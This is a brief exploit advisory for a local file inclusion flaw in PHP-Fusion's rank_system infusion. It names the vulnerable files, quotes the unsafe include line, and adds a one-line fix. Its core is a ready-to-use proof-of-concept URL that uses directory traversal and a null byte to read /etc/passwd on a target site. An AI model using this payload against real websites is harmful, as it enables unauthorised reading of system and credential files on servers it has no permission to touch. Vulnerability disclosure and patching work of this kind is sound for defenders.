Respect for Rgod...R.I.P my master! AUTHOR : Matrix86 Contact: matrix86 [AT ] tuxmealux [ DOT] net Found Lfi (Local file inclusion) in: /infusions/rank_system/forum.php /infusions/rank_system/profile.php Vulnerability info: Line: 12 Code: include("../infusions/rank_system/locale/".$settings['locale'].".php"); Attention: Work only with magic_quotes_gpc = Off Poc: http://[site]/[Php-Fusion]/infusions/rank_system/forum.php?settings[locale]=../../../../../../../../etc/passwd%00 Fix: Line: 11 Code: if (!defined("IN_FUSION")) { die("Fixed..sorry =)"); exit; }